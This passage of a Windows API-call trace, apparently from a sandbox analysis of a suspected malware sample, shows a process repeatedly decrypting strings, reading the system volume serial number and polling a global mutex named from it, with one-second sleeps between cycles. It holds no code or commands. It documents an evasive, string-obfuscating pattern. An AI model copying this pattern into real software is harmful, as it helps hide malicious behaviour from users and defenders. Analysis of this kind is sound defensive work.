dwFlags=0x0, lpMem=0x6f4ff8 | out: hHeap=0x6f0000) returned 1 [0165.416] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0165.417] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0165.417] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0165.417] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d15d0) returned 1 [0165.417] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0165.417] CryptDecrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0165.417] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0165.417] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0165.417] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2e4 [0165.417] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102 [0165.417] CloseHandle (hObject=0x2e4) returned 1 [0165.417] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0165.418] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0165.418] Sleep (dwMilliseconds=0x3e8) [0166.562] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4ff8 [0166.562] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1710) returned 1 [0166.562] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0166.562] CryptDecrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4ff8, pdwDataLen=0x225fc84 | out: pbData=0x6f4ff8, pdwDataLen=0x225fc84) returned 1 [0166.562] CryptDestroyKey (hKey=0x1d1710) returned 1 [0166.563] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6fafc0 [0166.563] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6fafe8 [0166.563] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fb010 [0166.563] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1a50) returned 1 [0166.563] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0166.563] CryptDecrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fb010, pdwDataLen=0x225fc5c | out: pbData=0x6fb010, pdwDataLen=0x225fc5c) returned 1 [0166.563] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0166.563] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb010 | out: hHeap=0x6f0000) returned 1 [0166.563] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6fafc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0166.563] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafe8 | out: hHeap=0x6f0000) returned 1 [0166.563] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4ff8 | out: hHeap=0x6f0000) returned 1 [0166.563] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.563] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0166.563] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0166.563] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1b50) returned 1 [0166.563] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0166.563] CryptDecrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0166.563] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0166.563] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0166.563] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0166.563] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0166.563] CloseHandle (hObject=0x2dc) returned 1 [0166.563] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0166.563] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0166.564] Sleep (dwMilliseconds=0x3e8) [0167.915] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4ff8 [0167.915] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d14d0) returned 1 [0167.915] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0167.915] CryptDecrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4ff8, pdwDataLen=0x225fc84 | out: pbData=0x6f4ff8, pdwDataLen=0x225fc84) returned 1 [0167.915] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0167.915] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6fafc0 [0167.915] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6fafe8 [0167.915] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fb010 [0167.915] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d16d0) returned 1 [0167.915] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0167.915] CryptDecrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fb010, pdwDataLen=0x225fc5c | out: pbData=0x6fb010, pdwDataLen=0x225fc5c) returned 1 [0167.915] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0167.915] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb010 | out: hHeap=0x6f0000) returned 1 [0167.915] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6fafc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0167.915] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafe8 | out: hHeap=0x6f0000) returned 1 [0167.915] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4ff8 | out: hHeap=0x6f0000) returned 1 [0167.915] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.915] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0167.915] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0167.915] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d17d0) returned 1 [0167.915] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0167.915] CryptDecrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0167.915] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0167.915] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0167.916] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2cc [0167.916] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0167.916] CloseHandle (hObject=0x2cc) returned 1 [0167.916] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0167.916] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0167.916] Sleep (dwMilliseconds=0x3e8) [0168.929] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8e40 [0168.929] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1a90) returned 1 [0168.929] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0168.929] CryptDecrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8e40, pdwDataLen=0x225fc84 | out: pbData=0x6f8e40, pdwDataLen=0x225fc84) returned 1 [0168.929] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0168.929] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8e90 [0168.929] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8c10 [0168.930] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0168.930] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1910) returned 1 [0168.930] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0168.930] CryptDecrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0168.930] CryptDestroyKey (hKey=0x1d1910) returned 1 [0168.930] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0168.930] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8e90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0168.930] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c10 | out: hHeap=0x6f0000) returned 1 [0168.930] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e40 | out: hHeap=0x6f0000) returned 1 [0168.930] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0168.930] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e90 | out: hHeap=0x6f0000) returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0168.930] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1a90) returned 1 [0168.930] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0168.930] CryptDecrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0168.930] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0168.930] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0168.930] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0168.930] CloseHandle (hObject=0x2dc) returned 1 [0168.930] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0168.930] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0168.930] Sleep (dwMilliseconds=0x3e8) [0170.112] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8e68 [0170.112] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1590) returned 1 [0170.112] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0170.112] CryptDecrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8e68, pdwDataLen=0x225fc84 | out: pbData=0x6f8e68, pdwDataLen=0x225fc84) returned 1 [0170.112] CryptDestroyKey (hKey=0x1d1590) returned 1 [0170.112] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8e40 [0170.112] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8e90 [0170.112] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0170.112] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1b10) returned 1 [0170.112] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0170.113] CryptDecrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0170.113] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0170.113] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0170.113] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8e40, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0170.113] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e90 | out: hHeap=0x6f0000) returned 1 [0170.113] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e68 | out: hHeap=0x6f0000) returned 1 [0170.113] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.113] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e40 | out: hHeap=0x6f0000) returned 1 [0170.113] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0170.113] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d14d0) returned 1 [0170.113] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0170.113] CryptDecrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0170.113] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0170.113] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0170.113] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0170.113] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0170.113] CloseHandle (hObject=0x2dc) returned 1 [0170.113] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0170.113] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0170.113] Sleep (dwMilliseconds=0x3e8) [0171.245] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8b98 [0171.245] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1910) returned 1 [0171.245] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0171.245] CryptDecrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8b98, pdwDataLen=0x225fc84 | out: pbData=0x6f8b98, pdwDataLen=0x225fc84) returned 1 [0171.245] CryptDestroyKey (hKey=0x1d1910) returned 1 [0171.245] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8be8 [0171.245] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8cb0 [0171.245] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0171.246] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1b90) returned 1 [0171.246] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0171.246] CryptDecrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0171.246] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0171.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0171.246] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8be8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0171.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8cb0 | out: hHeap=0x6f0000) returned 1 [0171.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8b98 | out: hHeap=0x6f0000) returned 1 [0171.246] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8be8 | out: hHeap=0x6f0000) returned 1 [0171.246] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0171.246] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d14d0) returned 1 [0171.246] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0171.246] CryptDecrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0171.246] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0171.246] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0171.246] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0171.246] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0171.246] CloseHandle (hObject=0x2dc) returned 1 [0171.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0171.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0171.246] Sleep (dwMilliseconds=0x3e8) [0172.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8d28 [0172.258] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d19d0) returned 1 [0172.258] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0172.258] CryptDecrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8d28, pdwDataLen=0x225fc84 | out: pbData=0x6f8d28, pdwDataLen=0x225fc84) returned 1 [0172.258] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0172.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8c60 [0172.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8c10 [0172.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0172.258] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d16d0) returned 1 [0172.258] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0172.258] CryptDecrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0172.258] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0172.258] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0172.258] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8c60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0172.258] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c10 | out: hHeap=0x6f0000) returned 1 [0172.258] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8d28 | out: hHeap=0x6f0000) returned 1 [0172.258] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.258] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c60 | out: hHeap=0x6f0000) returned 1 [0172.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0172.258] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1ad0) returned 1 [0172.258] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0172.259] CryptDecrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0172.259] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0172.259] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0172.259] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0172.259] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0172.259] CloseHandle (hObject=0x2dc) returned 1 [0172.259] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0172.259] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0172.259] Sleep (dwMilliseconds=0x3e8) [0173.778] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8eb8 [0173.778] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1450) returned 1 [0173.778] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0173.778] CryptDecrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8eb8, pdwDataLen=0x225fc84 | out: pbData=0x6f8eb8, pdwDataLen=0x225fc84) returned 1 [0173.778] CryptDestroyKey (hKey=0x1d1450) returned 1 [0173.778] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8f08 [0173.778] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8c88 [0173.778] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0173.778] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, 